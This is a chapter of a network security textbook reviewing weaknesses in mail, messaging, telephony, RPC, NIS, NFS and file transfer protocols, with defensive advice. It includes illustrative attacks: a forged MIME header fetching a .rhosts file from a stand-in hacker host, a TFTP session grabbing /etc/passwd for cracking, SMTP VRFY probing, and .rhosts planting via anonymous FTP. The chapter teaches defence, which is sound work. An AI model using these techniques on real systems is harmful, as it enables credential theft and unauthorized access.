3

Security Review: The Upper Layers

If you refer to Figure 2.1, you'll notice that the hourglass gets wide at the top, very wide. There are many, many different applications, most of which have some security implications. This chapter just touches the highlights.

3.1 Messaging

In this section, we deal with mail transport protocols. SMTP is the most common mail transport protocol—nearly every message is sent this way. Once mail has reached a destination spool host, however, there are several options for accessing that mail from a dumb server.

3.1.1 SMTP

One of the most popular Internet services is electronic mail. Though several services can move mail on the net, by far the most common is *Simple Mail Transfer Protocol (SMTP)* [Klensin, 2001].

Traditional SMTP transports 7-bit ASCII text characters using a simple protocol, shown below. (An extension, called ESMTP, permits negotiation of extensions, including "8-bit clean"-transmission; it thus provides for the transmission of binary data or non-ASCII character sets.) Here's a log entry from a sample SMTP session (the arrows show the direction of data flow):

```
<--- 220 fg.net SMTP
---> HELO sales.mymegacorp.com
<--- 250 fg.net
---> MAIL FROM:<Anthony.Stazzone@sales.mymegacorp.com>
<--- 250 OK
---> RCPT TO:<ferd.berfle@fg.net>
<--- 250 OK
```

```
---> DATA
<--- 354 Start mail input; end with <CRLF>.<CRLF>
---> From: A.Stazzone@sales.mymegacorp.com
---> To: ferd.berfle@fg.net
---> Date: Thu, 27 Jan 94 21:00:05 EST
--->
---> Meet you for lunch after I buy some power tools.
--->
---> Anthony
---> .
--->
<--- 250 OK
.... sales.mymegacorp.com!A.Stazzone  sent 273 bytes to fg.net!ferd.berfle
---> QUIT
<--- 221 sales.mymegacorp.com Terminating
```

Here, the remote site, SALES.MYMEGACORP.COM, is sending mail to the local machine, FG.NET. It is a simple protocol. Postmasters and hackers learn these commands and occasionally type them by hand.

15 Notice that the caller specified a return address in the MAIL FROM command. At this level, there is no reliable way for the local machine to verify the return address. *You do not know for sure who sent you mail based on SMTP.* You must use some higher level mechanism if you need trust or privacy.

An organization needs at least one mail guru. It helps to concentrate the mailer expertise at a gateway, even if the inside networks are fully connected to the Internet. This way, administrators on the inside need only get their mail to the gateway mailer. The gateway can ensure that outgoing mail headers conform to standards. The organization becomes a better network citizen when there is a single, knowledgeable contact for reporting mailer problems.

The mail gateway is also an excellent place for corporate mail aliases for every person in a company. (When appropriate, such lists must be guarded carefully: They are tempting targets for industrial espionage.)

From a security standpoint, the basic SMTP by itself is fairly innocuous. It could, however, be the source of a *denial-of-service (DOS)* attack, an attack that's aimed at preventing legitimate use of the machine. Suppose we arrange to have 50 machines each mail you 1000 1 MB mail messages. Can your systems handle it? Can they handle the load? Is the spool directory large enough?

The mail aliases can provide the hacker with some useful information. Commands such as

```
VRFY <postmaster>
VRFY <root>
```

often translate the mail alias to the actual login name. This can provide clues about who the system administrator is and which accounts might be most profitable if successfully attacked. It's a matter of policy whether this information is sensitive or not. The *finger* service, discussed in Section 3.8.1, can provide much more information.

The `EXPN` subcommand expands a mailing list alias; this is problematic because it can lead to a loss of confidentiality. Worse yet, it can feed spammers, a life form almost as low as the hacker.

A useful technique is to have the alias on the well-known machine point to an inside machine, not reachable from the outside, so that the expansion can be done there without risk.

The most common implementation of SMTP is contained in *sendmail* [Costales, 1993]. This program is included free in most UNIX software distributions, but you get less than you pay for. *Sendmail* has been a security nightmare. It consists of tens of thousands of lines of C and often runs as *root*. It is not surprising that this violation of the principle of *minimal trust* has a long and infamous history of intentional and unintended security holes. It contained one of the holes used by the Internet Worm [Spafford, 1989a, 1989b; Eichin and Rochlis, 1989; Rochlis and Eichin, 1989], and was mentioned in a *New York Times* article [Markoff, 1989]. Privileged programs should be as small and modular as possible. An SMTP daemon does not need to run as *root*. (To be fair, we should note that recent versions of *sendmail* have been much better. Still, there are free mailers that we trust much more; see Section 8.8.1.)

For most mail gatekeepers, the big problem is configuration. The *sendmail* configuration rules are infamously obtuse, spawning a number of useful how-to books such as [Costales, 1993] and [Avolio and Vixie, 2001]. And even when a mailer's rewrite rules are relatively easy, it can still be difficult to figure out what to do. RFC 2822 [Resnick, 2001] offers useful advice.

Sendmail can be avoided or tamed to some extent, and other mailers are available. We have also seen simple SMTP front ends for *sendmail* that do not run as *root* and implement a simple and hopefully reliable subset of the SMTP commands [Carson, 1993; Avolio and Ranum, 1994]. For that matter, if *sendmail* is not doing local delivery (as is the case on gateway machines), it does not need to run as *root*. It does need write permission on its spool directory (typically, `/var/spool/mqueue`), read permission on `/dev/kmem` (on some machines) so it can determine the current load average, and some way to bind to port 25. The latter is most easily accomplished by running it via *inetd*, so that *sendmail* itself need not issue the `bind` call.

Regardless of which mailer you run, you should configure it so that it will only accept mail that is either from one of your networks, or to one of your users. So-called *open relays*, which will forward e-mail to anyone from anyone, are heavily abused by spammers who want to cover their tracks [Hambridge and Lunde, 1999]. Even if sending the spam doesn't overload your mailer (and it very well might), there are a number of blacklists of such relays. Many sites will refuse to accept any e-mail whatsoever from a known open relay.

If you need to support road warriors, you can use SMTP Authentication [Myers, 1999]. This is best used in conjunction with encryption of the SMTP session [Hoffman, 2002]. The purpose of SMTP Authentication is to avoid having an open relay; open relays attract spammers, and can result in your site being added to a "reject all mail from these clowns" list. This use of SMTP is sometimes known as "mail submission," to distinguish it from more general mail transport.

3.1.2 MIME

The content of the mail can also pose dangers. Apart from possible bugs in the receiving machine's mailer, automated execution of *Multipurpose Internet Mail Extensions (MIME)*-encoded messages [Freed and Borenstein, 1996a] is potentially quite dangerous. The structured information encoded in them can indicate actions to be taken. For example, the following is an excerpt from the announcement of the publication of an RFC:

```
Content-Type:   Message/External-body;
        name="rfc2549.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
```

A MIME-capable mailer would retrieve the RFC for you automatically. Suppose, however, that a hacker sent a forged message containing this:

```
Content-Type:   Message/External-body;
        name=".rhosts";
        site="ftp.evilhackerdudez.org";
        access-type="anon-ftp";
        directory="."

Content-Type: text/plain
```

Would your MIME agent blithely overwrite the existing `.rhosts` file in your current working directory? Would you notice if the text of the message otherwise appeared to be a legitimate RFC announcement?

There is a MIME analog to the fragmentation attack discussed on page 21. One MIME type [Freed and Borenstein, 1996b] permits a single e-mail message to be broken up into multiple pieces. Judicious fragmentation can be used to evade the scrutiny of gateway-based virus checkers. Of course, that would not work if the recipient's mailer couldn't reassemble the fragments; fortunately, Microsoft Outlook Express—an unindicted (and unwitting) co-conspirator in many worm outbreaks—can indeed do so. The fix is either to do reassembly at the gateway or to reject fragmented incoming mail.

Other MIME dangers include the ability to mail executable programs, and to mail PostScript files that themselves can contain dangerous actions. Indeed, sending active content via e-mail is a primary vector for the spread of worms and viruses. It is, of course, possible to send a MIME message with a forged `From:` line; a number of popular worms do precisely that. (We ourselves have received complaints, automated and otherwise, about viruses that our machines have allegedly sent.) These problems and others are discussed at some length in the MIME specification; unfortunately, the advice given there has been widely ignored by implementors of some popular Windows-based mailers.

3.1.3 POP version 3

POP3, the Post Office Protocol [Myers and Rose, 1996] is used by simple clients to obtain their mail. Their mail is delivered to a mailbox on a spooling host, perhaps provided by an ISP. When a client runs its mailer, the mailer downloads the waiting messages into the client. The mail is typically removed from the server. While online, the mailer may poll the server at regular intervals to obtain new mail. The client sends mail using SMTP, perhaps directly or through a different mail server. (A number of sites use the POP3 authentication to enable mail-relaying via SMTP, thus blocking spammers. The server caches the IP address of the machine from which the successful POP3 session came; for a limited time thereafter, that machine is allowed to do SMTP relaying.)

The protocol is quite simple, and has been around for a while. The server can implement it quite easily, even with a Perl script. See Section 8.9 for an example of such a server.

POP3 is quite insecure. In early versions, the user's password was transmitted in the clear to obtain access to the mailbox. More recent clients use the APOP command to exchange a challenge/response based on a password. In both cases, the password needs to be stored in the clear on the server. In addition, the authentication exchange permits a dictionary attack on the password. Some sites support POP3 over SSL/TLS [Rescorla, 2000b], but this is not supported by a number of popular clients.

If the server is running UNIX, the POP3 server software typically runs as *root* until authentication is complete, and then changes to the user's account on the server. This means that the user must *have* an account on the server, which is not good—it adds more administrative overhead, and may imply that the user can log into the server itself. This is never a good idea: Users are bad security risks. It also means that another network server is running as *root*. If you're running a large installation, though, you can use a POP3 server that maintains its own database of users and e-mail.

The benefits of POP3 include the simplicity of the protocol (if only network telephony were this easy!) and the easy implementation on the server. It is limited, however—users generally must read their mail from one host, as the mail is generally delivered to the client.

3.1.4 IMAP Version 4

IMAP version 4 [Crispin, 1996] offers remote access to mailboxes on a server. It enables the client and server to synchronize state, and supports multiple folders. As in POP3, mail is still sent using SMTP.

A typical UNIX IMAP4 server requires the same access as a POP3 server, plus more to support the extra features. We have not attempted to "jail" an IMAP server (see Section 8.5), as the POP3 server has supported our needs.

The IMAP protocol does support a suite of authentication methods, some of which are fairly secure. The challenge/response authentication mentioned in [Klensin *et al.*, 1997] is a step in the right direction, but it is not as good as it could be. A shared secret is involved, which again must be stored on the server. It would be better if the challenge/response secret were first hashed with a domain string to remove some password equivalence. (Multiple authentication options always raise the possibility of *version-rollback attacks*, forcing a server to use weaker authentication or cryptography.)

Our biggest reservation about IMAP is the complexity of the protocol, which of course requires a complex server. *If* the server is implemented properly, with a small, simple authentication module as a front end to an unprivileged protocol engine, this may be no worse than user logins to the machine, but you need to verify the design of your server.

3.1.5 Instant Messaging

There are numerous commercial *Instant Messaging (IM)* offerings that use various proprietary protocols. We don't have the time or interest to keep up with all of them. America Online Instant Messenger uses a TCP connection to a master server farm to link AOL Instant Messenger users.

ICQ does the same. It is not clear to us how Microsoft Messenger connects. You might think that messaging services would operate peer-to-peer after meeting at a central point, but peer-to-peer is unlikely to work if both peers are behind firewalls. Central meeting points are a good place to sniff these sessions. False meeting places could be used to attract messaging traffic if DNS queries can be diverted. Messaging traffic often contains sensitive company business, and it shouldn't. The client software usually has other features, such as the ability to send files. Security bugs have appeared in a number of them.

It is possible to provide your own meeting server using something like *jabber* [Miller, 2002]. *Jabber* attempts to provide protocol support for a number of instant messaging clients, though the owners of these protocols often attempt to frustrate this interaction. It even supports SSL connections to the server, frustrating eavesdropping. However, note that if you use server-side gateways, as opposed to multi-protocol clients, you're trusting the server with all of your conversations and—for some protocols—your passwords.

There is a lot of software, both server and clients, for *IRC*, but the security record for these programs has been poor.

The locally run servers have a much better security model but tend to short-circuit the business models of the instant messaging services. The providers of these services realize this, and are trying to move into the business IM market.

Instant messaging can leak personal schedules. Consider the following log from *naim*, a UNIX implementation of the AOL instant messenger protocol:

```
[06:56:02] *** Buddy Fred is now online =)
[07:30:23] *** Buddy Fred has just logged off :(
[08:14:16] *** Buddy Fred is now online =)
```

"Fred" checked his e-mail upon awakening. It took him 45 minutes to eat breakfast and commute to work. This could be useful for a burglar, too.

3.2 Internet Telephony

One of the application areas gathering the most attention is Internet telephony. The global telephone network is increasingly connected to the Internet; this connectivity is providing signaling channels for phone switches, data channels for actual voice calls, and new customer functions, especially ones that involve both the Internet and the phone network.

Two main protocols are used for voice calls, the *Session Initiation Protocol (SIP)* [Rosenberg *et al.*, 2002] and H.323. Both can do far more than set up simple phone calls. At a minimum, they can set up conferences (Microsoft's NetMeeting can use both protocols); SIP is also the basis for some Internet/telephone network interactions, and for some instant messaging protocols.

3.2.1 H.323

H.323 is the ITU's Internet telephony protocol. In an effort to get things on the air quickly, the ITU based its design on Q.931, the ISDN signaling protocol. But this has added greatly to the complexity, which is only partially offset by the existence of real ISDN stacks.

The actual call traffic is carried over separate UDP ports. In a firewalled world, this means that the firewall has to parse the ASN.1 messages (see Section 3.6) to figure out what port numbers should be allowed in. This isn't an easy task, and we worry about the complexity of any firewall that is trying to perform it.

H.323 calls are not point-to-point. At least one intermediate server—a telephone company?—is needed; depending on the configuration and the options used, many more may be employed.

3.2.2 SIP

SIP, though rather complex, is significantly simpler than H.323. Its messages are ASCII; they resemble HTTP, and even use MIME and S/MIME for transporting data.

SIP phones can speak peer-to-peer; however, they can also employ the same sorts of proxies as H.323. Generally, in fact, this will be done. Such proxies can simplify the process of passing SIP through a firewall, though the actual data transport is usually direct between the two (or more) endpoints. SIP also has provisions for very strong security—perhaps too strong, in some cases, as it can interfere with attempts by the firewall to rewrite the messages to make it easier to pass the voice traffic via an application-level gateway.

Some data can be carried in the SIP messages themselves, but as a rule, the actual voice traffic uses a separate transport. This can be UDP, probably carrying *Real-Time Transport Protocol (RTP)*, TCP, or SCTP.

We should note that for both H.323 and SIP, much of the complexity stems from the nature of the problem. For example, telephone users are accustomed to hearing "ringback" when they dial a number and the remote phone is ringing. Internet telephones have to do the same thing, which means that data needs to be transported even before the call is completed. Interconnection to the existing telephone network further complicates the situation.

3.3 RPC-Based Protocols

3.3.1 RPC and Rpcbind

Sun's *Remote Procedure Call (RPC)* protocol [Srinivasan, 1995; Sun Microsystems, 1990] underlies a few important services. Unfortunately, many of these services represent potential security problems. RPC is used today on many different platforms, including most of Microsoft's operating systems. A thorough understanding of RPC is vital.

The basic concept is simple enough. The person creating a network service uses a special language to specify the names of the external entry points and their parameters. A precompiler converts this specification into *stub* or glue routines for the client and server modules. With the help of this glue and a bit of boilerplate, the client can make seemingly ordinary subroutine calls to a remote server. Most of the difficulties of network programming are masked by the RPC layer.

RPC can live on top of either TCP or UDP. Most of the essential characteristics of the transport mechanisms show through. Thus, a subsystem that uses RPC over UDP must still worry about lost

messages, duplicates, out-of-order messages, and so on. However, record boundaries are inserted in the TCP-based version.

RPC messages begin with their own header. It includes the *program number*, the *procedure number* denoting the entry point within the procedure, and some version numbers. Any attempt to filter RPC messages must be keyed on these fields. The header also includes a sequence number, which is used to match queries with replies.

There is also an authentication area. A null authentication variant can be used for anonymous services. For more serious services, the so-called UNIX authentication field is included. This includes the numeric user-id and group-id of the caller, and the name of the calling machine. Great care must be taken here! The machine name should never be trusted (and important services, such as older versions of NFS, ignore it in favor of the IP address), and neither the user-id nor the group-id are worth anything at all unless the message is from a privileged port on a UNIX host. Indeed, even then they are worth little with UDP-based RPC; forging a source address is trivial in that case. *Never take any serious action based on such a message.*

RPC does support some forms of cryptographic authentication. Older versions use DES, the Data Encryption Standard [NBS, 1977]. All calls are authenticated using a shared *session key* (see Chapter 18). The session keys are distributed using Diffie-Hellman exponential key exchange (see [Diffie and Hellman, 1976] or Chapter 18), though Sun's original version wasn't strong enough [LaMacchia and Odlyzko, 1991] to resist a sophisticated attacker.

More recent versions use Kerberos (see Section 18.1) via GSS-API (see [Eisler *et al.*, 1997] and Section 18.4.6.) This is a much more secure, much more scalable mechanism, and it is used for current versions of NFS [Eisler, 1999].

OSF's *Distributed Computing Environment (DCE)* uses DES-authenticated RPC, but with Kerberos as a key distribution mechanism [Rosenberry *et al.*, 1992]. DCE also provides *access control lists* for authorization.

With either type of authentication, a host is expected to cache the authentication data. Future messages may include a pointer to the cache entry, rather than the full field. This should be borne in mind when attempting to analyze or filter RPC messages.

The remainder of an RPC message consists of the parameters to (or results of) the particular procedure invoked. These (and the headers) are encoded using the *External Data Representation (XDR)* protocol [Sun Microsystems, 1987]. XDR does not include explicit tags; it is thus impossible to decode—and hence filter—without knowledge of the application.

With the notable exception of NFS, RPC-based servers do not normally use fixed port numbers. They accept whatever port number the operating system assigns them, and register this assignment with *rpcbind* (known on some systems as the *portmapper*). Those servers that need privileged ports pick and register unassigned, low-numbered ones. *Rpcbind*—which itself uses the RPC protocol for communication—acts as an intermediary between RPC clients and servers. To contact a server, the client first asks *rpcbind* on the server's host for the port number and protocol (UDP or TCP) of the service. This information is then used for the actual RPC call.

Rpcbind has other abilities that are less benign. For example, there is a call to unregister a service, fine fodder for denial-of-service attacks, as it is not well authenticated. *Rpcbind* is also happy to tell anyone on the network what services you are running (see Figure 3.1); this is extremely useful when developing attacks. (We have seen captured hacker log files that show many such dumps, courtesy of the standard *rpcinfo* command.)

```
   program vers proto   port  service
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100024    1   udp    857  status
    100024    1   tcp    859  status
    100021    1   udp   2049  nlockmgr
    100021    3   udp   2049  nlockmgr
    100021    4   udp   2049  nlockmgr
    100021    1   tcp   2049  nlockmgr
    100021    3   tcp   2049  nlockmgr
    100021    4   tcp   2049  nlockmgr
    100005    1   tcp   1026  mountd
    100005    3   tcp   1026  mountd
    100005    1   udp   1029  mountd
    100005    3   udp   1029  mountd
    391004    1   tcp   1027  sgi_mountd
    391004    1   udp   1030  sgi_mountd
    100001    1   udp   1031  rstatd
    100001    2   udp   1031  rstatd
    100001    3   udp   1031  rstatd
    100008    1   udp   1032  walld
    100002    1   udp   1033  rusersd
    100011    1   udp   1034  rquotad
    100012    1   udp   1035  sprayd
    391011    1   tcp   1028  sgi_videod
    391002    1   tcp   1029  sgi_fam
    391002    2   tcp   1029  sgi_fam
    391006    1   udp   1036  sgi_pcsd
    391029    1   tcp   1030  sgi_reserved
    100083    1   tcp   1031  ttdbserverd
 542328147    1   tcp    773
    391017    1   tcp    738  sgi_mediad
1342177279    2   tcp  62722
1342177279    1   tcp  62722
    100007    2   udp    628  ypbind
    100004    2   udp    631  ypserv
    100004    2   tcp    633  ypserv
1342177280    2   tcp  56495
1342177280    1   tcp  56495
```

Figure 3.1: A *rpcbind* dump. It shows the services that are being run, the version number, and the port number on which they live. Even though the program name has been changed to *rpcbind*, the RPC service name is still *portmapper*. Note that many of the port numbers are greater than 1024.

The most serious problem with *rpcbind* is its ability to issue indirect calls. To avoid the overhead of the extra round-trip necessary to determine the real port number, a client can ask that *rpcbind* forward the RPC call to the actual server. But the forwarded message must carry *rpcbind*'s own return address. It is thus impossible for the applications to distinguish the message from a genuinely local request, and thus to assess the level of trust that should be accorded to the call.

Some versions of *rpcbind* will do their own filtering. If yours will not, make sure that no outsiders can talk to it. But remember that blocking access to *rpcbind* will not block direct access to the services themselves; it's very easy for an attacker to scan the port number space directly.

Even without *rpcbind*-induced problems, older RPC services have had a checkered security history. Most were written with only local Ethernet connectivity in mind, and therefore are insufficiently cautious. For example, some window systems used RPC-based servers for cut-and-paste operations and for passing file references between applications. But outsiders were able to abuse this ability to obtain copies of any files on the system. There have been other problems as well, such as buffer overflows and the like. It is worth a great deal of effort to block RPC calls from the outside.

3.3.2 NIS

One dangerous RPC application is the *Network Information Service (NIS)*, formerly known as *YP*. (The service was originally known as *Yellow Pages*, but that name infringed phone company trademarks in the United Kingdom.) NIS is used to distribute a variety of important databases from a central server to its clients. These include the password file, the host address table, and the public and private key databases used for Secure RPC. Access can be by search key, or the entire file can be transferred.

If you are suitably cautious (read: "sufficiently paranoid"), your hackles should be rising by now. Many of the risks are obvious. An intruder who obtains your password file has a precious thing indeed. The key database can be almost as good; private keys for individual users are generally encrypted with their login passwords. But it gets worse.

Consider a security-conscious site that uses a *shadow password file*. Such a file holds the actual hashed passwords, which are not visible to anyone on the local machine. But all systems need some mechanism to check passwords; if NIS is used, the shadow password file is served up to anyone who appears—over the network—to be *root* on a trusted machine. In other words, if one workstation is corrupted, the shadow password file offers no protection.

NIS clients need to know about backup servers, in case the master is down. In some versions, clients can be told—remotely—to use a different, and possibly fraudulent, NIS server. This server could supply bogus `/etc/passwd` file entries, incorrect host addresses, and so on.

Some versions of NIS can be configured to disallow the most dangerous activities. Obviously, you should do this if possible. Better still, do not run NIS on exposed machines; the risks are high, and—for gateway machines—the benefits very low.

3.3.3 NFS

The *Network File System (NFS)* [Shepler *et al.*, 2000; Sun Microsystems, 1990], originally developed by Sun Microsystems, is now supported on most computers. It is a vital component of most workstations, and it is not likely to go away any time soon.

For robustness, NFS is based on RPC, UDP, and stateless servers. That is, to the NFS server—the host that generally has the real disk storage—each request stands alone; no context is retained. Thus, all operations must be authenticated individually. This can pose some problems, as you shall see.

To make NFS access robust in the face of system reboots and network partitioning, NFS clients retain state; the servers do not. The basic tool is the file handle, a unique string that identifies each file or directory on the disk. All NFS requests are specified in terms of a file handle, an operation, and whatever parameters are necessary for that operation. Requests that grant access to new files, such as `open`, return a new handle to the client process. File handles are not interpreted by the client. The server creates them with sufficient structure for its own needs; most file handles include a random component as well.

The initial handle for the root directory of a file system is obtained at mount time. In older implementations, the server's mount daemon—an RPC-based service—checked the client's host name and requested file system against an administrator-supplied list, and verified the mode of operation (read-only versus read/write). If all was well, the file handle for the root directory of the file system was passed back to the client.

Note carefully the implications of this. Any client that retains a root file handle has permanent access to that file system. Although standard client software renegotiates access at each mount time, which is typically at reboot time, there is no enforceable requirement that it do so. Thus, NFS's mount-based access controls are quite inadequate. For that reason, GSS-API-based NFS servers are supposed to check access rights on each operation [Eisler, 1999].

File handles are normally assigned at file system creation time, via a pseudorandom number generator. (Some older versions of NFS used an insufficiently random—and hence predictable—seed for this process. Reports indicate that successful guessing attacks have indeed taken place.) New handles can be written only to an unmounted file system, using the *fsirand* command. Prior to doing this, any clients that have the file system mounted should unmount it, lest they receive the dreaded "stale file handle" error. It is this constraint—coordinating the activities of the server and its myriad clients—that makes it so difficult to revoke access. NFS is too robust!

Some UNIX file system operations, such as file or record locks, require that the server retain state, despite the architecture of NFS. These operations are implemented by auxiliary processes using RPC. Servers also use such mechanisms to keep track of clients that have mounted their file systems. As we have seen, this data need not be consistent with reality; and it is not, in fact, used by the system for anything important.

NFS generally relies on a set of numeric user and group identifiers that must be consistent across the set of machines being served. While this is convenient for local use, it is not a solution that scales. Some implementations provide for a map function. NFS access by *root* is generally prohibited, a restriction that often leads to more frustration than protection.

Normally, NFS servers live on port 2049. The choice of port number is problematic, as it is in the "unprivileged" range, and hence is in the range assignable to ordinary processes. Packet filters that permit UDP conversations *must* be configured to block inbound access to 2049; the service is too dangerous. Furthermore, some versions of NFS live on random ports, with *rpcbind* providing addressing information.

NFS poses risks to client machines as well. Someone with privileged access to the server machine—or someone who can forge reply packets—can create `setuid` programs or device files, and then invoke or open them from the client. Some NFS clients have options to disallow import of such things; make sure you use them if you mount file systems from untrusted sources.

A more subtle problem with browsing archives via NFS is that it's too easy for the server machine to plant booby-trapped versions of certain programs likely to be used, such as *ls*. If the user's `$PATH` has the current directory first, the phony version will be used, rather than the client's own *ls* command. This is always poor practice: If the current directory appears in the path, it should always be the last entry. The NFS best defense here would be for the client to delete the "execute" bit on all imported files (though not directories). Unfortunately, we do not know of any standard NFS clients that provide this option.

Many sites are now using version 3. Its most notable attribute (for our purposes) is support for transport over TCP. That makes authentication much easier.

3.3.4 Andrew

The *Andrew File System (AFS)* [Howard, 1988; Kazar, 1988] is another network file system that can, to some extent, interoperate with NFS. Its major purpose is to provide a single scalable, global, location-independent file system to an organization, or even to the Internet as a whole. AFS enables files to live on any server within the network, with caching occurring transparently, and as needed.

AFS uses Kerberos authentication [Bryant, 1988; Kohl and Neuman, 1993; Miller *et al.*, 1987; Steiner *et al.*, 1988], which is described further in Chapter 18, and a Kerberos-based user identifier mapping scheme. It thus provides a considerably higher degree of safety than do simpler versions of NFS. That notwithstanding, there have been security problems with some earlier versions of AFS. Those have now been corrected; see, for example, [Honeyman *et al.*, 1992].

3.4 File Transfer Protocols

3.4.1 TFTP

The *Trivial File Transfer Protocol (TFTP)* is a simple UDP-based file transfer mechanism [Sollins, 1992]. It has no authentication in the protocol. It is often used to boot routers, diskless workstations, and X11 terminals.

A properly configured TFTP daemon restricts file transfers to one or two directories, typically `/usr/local/boot` and the X11 font library. In the old days, most manufacturers released their software with TFTP accesses unrestricted. This made a hacker's job easy:

```
$ tftp target.cs.boofhead.edu
tftp> get /etc/passwd /tmp/passwd
Received 1205 bytes in 0.5 seconds
tftp> quit
$ crack </tmp/passwd
```

This is too easy. Given a typical dictionary password hit rate of about 25%, this machine and its trusted mates are goners. We recommend that no machine run TFTP unless it really needs to. If it does, make sure it is configured correctly, to deliver only the proper files, and only to the proper clients.

Far too many routers (especially low-end ones) use TFTP to load either executable images or configuration files. The latter is especially risky, not so much because a sophisticated hacker could generate a bogus file (in general, that would be quite difficult), but because configuration files often contain passwords. A TFTP daemon used to supply such files should be set up so that only the router can talk to it. (On occasion, we have noticed that our gateway router—owned and operated by our Internet service provider—has tried to boot via broadcast TFTP on our LAN. If we had been so inclined, we could have changed its configuration, and that of any other routers of theirs that used the same passwords. Fortunately, we're honest, right?)

3.4.2 FTP

The *File Transfer Protocol (FTP)* [Postel and Reynolds, 1985] supports the transmission and character set translation of text and binary files. In a typical session (see Figure 3.2), the user's *ftp* command opens a control channel to the target machine. Various commands and responses are sent over this channel. The server's responses include a three-digit return code at the beginning of each line.

A second data channel is opened for a file transfer or the listing from a directory command. The FTP protocol specification suggests that a single channel be created and kept open for all data transfers during the session. In practice, real-world FTP implementations open a new channel for each file transferred.

The data channel can be opened from the server to the client, or the client to the server. This choice can have important security implications, discussed below. In the older server-to-client connection, the client listens on a random port number and informs the server of this via the `PORT` command. In turn, the server makes the data connection by calling the given port, usually from port 20. By default, the client uses the same port number that is used for the control channel. However, due to one of the more obscure properties of TCP (the `TIMEWAIT` state, for the knowledgeably curious), a different port number must be used each time.

The data channel can be opened from the client to the server—in the same direction as the original control connection. The client sends the `PASV` command to the server [Bellovin, 1994]. The server listens on a random port and informs the client of the port selection in the response to the `PASV` command. (The intent of this feature was to support third-party transfers—a clever FTP client could talk to two servers simultaneously, have one do a passive open request, and the other talk to that machine and port, rather than the client's—but we can use this feature for our own ends.)

```
$ ftp -d research.att.com
220 inet FTP server (Version 4.271 Fri Apr 9 10:11:04 EDT 1993) ready.
---> USER anonymous
331 Guest login ok, send ident as password.
---> PASS guest
230 Guest login ok, access restrictions apply.
---> SYST
215 UNIX Type: L8 Version: BSD-43
Remote system type is UNIX.
---> TYPE I
200 Type set to I.
Using binary mode to transfer files.
ftp> ls
---> PORT 192,20,225,3,5,163
200 PORT command successful.
---> TYPE A
200 Type set to A.
---> NLST
150 Opening ASCII mode data connection for /bin/ls.
bin
dist
etc
ls-lR.Z
netlib
pub
226 Transfer complete.
---> TYPE I
200 Type set to I.
ftp> bye
---> QUIT
221 Goodbye.
$
```

Figure 3.2: A sample FTP session using the PORT command. The lines starting with `--->` show the commands that are actually sent over the wire; responses are preceded by a three-digit code.

The vast majority of the FTP servers on the Internet now support the `PASV` command. Most FTP clients have been modified to use it (it's an easy modification: about ten lines of code), and all the major browsers support it, though it needs to be enabled explicitly on some versions of Internet Explorer. The reason is because the old `PORT` command's method of reversing the call made security policy a lot more difficult, adding complications to firewall design and safety. It is easy, and often reasonable, to have a firewall policy that allows outgoing TCP connections, but no incoming connections. If FTP uses `PASV`, no change is needed to this policy. If `PORT` is supported, we need a mechanism to permit these incoming calls.

A Java applet impersonating an FTP client can do nasty things here [Martin *et al.*, 1997]. Suppose, for example, that the attacker wishes to connect to the *telnet* port on a machine behind a firewall. When someone on the victim's site runs that applet, it open an FTP connection back

to the originating site, in proper obedience to the Java security model. It then sends a `PORT` command specifying port 23—*telnet*—on the target host. The firewall obediently opens up that port.

For many years we unilaterally stopped supporting the `PORT` command through our firewall. Most users did not notice the change. A few, who were running old PC or Macintosh versions of FTP, could no longer use FTP outside the company. They must make their transfers in two stages (to a `PASV`-equipped internal host, and then to their PC), or use a Web browser on their PC. Aside from occasional confusion, this did not cause problems. If you don't want to go this far, make sure that your firewall will not open privileged or otherwise sensitive ports. Also ensure that the address specified on `PORT` commands is that of the originating machine.

The problem with `PORT` is not just the difficulty of handling incoming calls through the firewall. There's a more serious issue: the FTP Bounce attack (CERT Advisory CA-1997-27, December 10, 1997). There are a number of things the attacker can do here; they all rely on the fact that the attacker can tell some other machine to open a connection to an arbitrary port on an arbitrary machine. In fact, the attacker can even supply input lines for some other protocol. Details of the exploits are available on the Net.

By default, FTP transfers are in ASCII mode. Before sending or receiving a file that has nonprintable ASCII characters arranged in (system-dependent) lines, both sides must enter *image* (also known as *binary*) mode via a `TYPE I` command. In the example shown earlier, at startup time the client program asks the server if it, too, is a UNIX system; if so, the `TYPE I` command is generated automatically. (The failure to switch into binary mode when using FTP used to be a source of a lot of Internet traffic when FTP was run by hand: binary files got transferred twice, first with inappropriate character translation, and then without. Now browsers tend to do the right thing automatically.)

Though `PASV` is preferable, it appears that the PORT command is making a comeback. Most firewalls support it, and it is the default behavior of new Microsoft software.

Anonymous FTP is a major program and data distribution mechanism. Sites that so wish can configure their FTP servers to allow outsiders to retrieve files from a restricted area of the system without prearrangement or authorization. By convention, users log in with the name *anonymous* to use this service. Some sites request that the user's real electronic mail address be used as the password, a request more honored in the breach; however, some FTP servers are attempting to enforce the rule. Many servers insist on obtaining a reverse-lookup of the caller's IP address, and will deny service if a name is not forthcoming.

Both FTP and the programs that implement it have been a real problem for Internet gatekeepers. Here is a partial list of complaints:

- The service, running unimpeded, can drain a company of its vital files in short order.
- Anonymous FTP requires access by users to feed it new files.
- This access can rely on passwords, which are easily sniffed or guessed.
- The *ftpd* daemon runs as *root* initially because it normally processes a login to some account, including the password processing. Worse yet, it cannot shed its privileged identity after

login; some of the fine points of the protocol require that it be able to bind connection endpoints to port 20, which is in the "privileged" range.

- Historically, there have been several bugs in the daemon, which have opened disastrous security holes.

- World-writable directories in anonymous FTP services are often used to store and distribute *warez* (stolen copyrighted software) or other illicit data.

On the other hand, anonymous FTP has become an important standard on the Internet for publishing software, papers, pictures, and so on. Many sites need to have a publicly accessible anonymous FTP repository somewhere. Though these uses have been largely supplanted by the Web, FTP is still the best way to support file uploads. There is no doubt that anonymous FTP is a valuable service, but a fair amount of care must be exercised in administering it.

The first and most important rule is that no file or directory in the anonymous FTP area be writable or owned by the *ftp* login, because anonymous FTP runs with that user-id. Consider the following attack: Write a file named `.rhosts` to *ftp*'s home directory. Then use that file to authorize an *rsh* connection as *ftp* to the target machine. If the *ftp* directory is not writable but is owned by *ftp*, caution is still indicated: Some servers allow the remote client to change file permissions. (The existence of permission-changing commands in an anonymous server is a misfeature in any event. If possible, we strongly recommend that you delete any such code. Unidentified guests have no business setting any sort of security policy.)

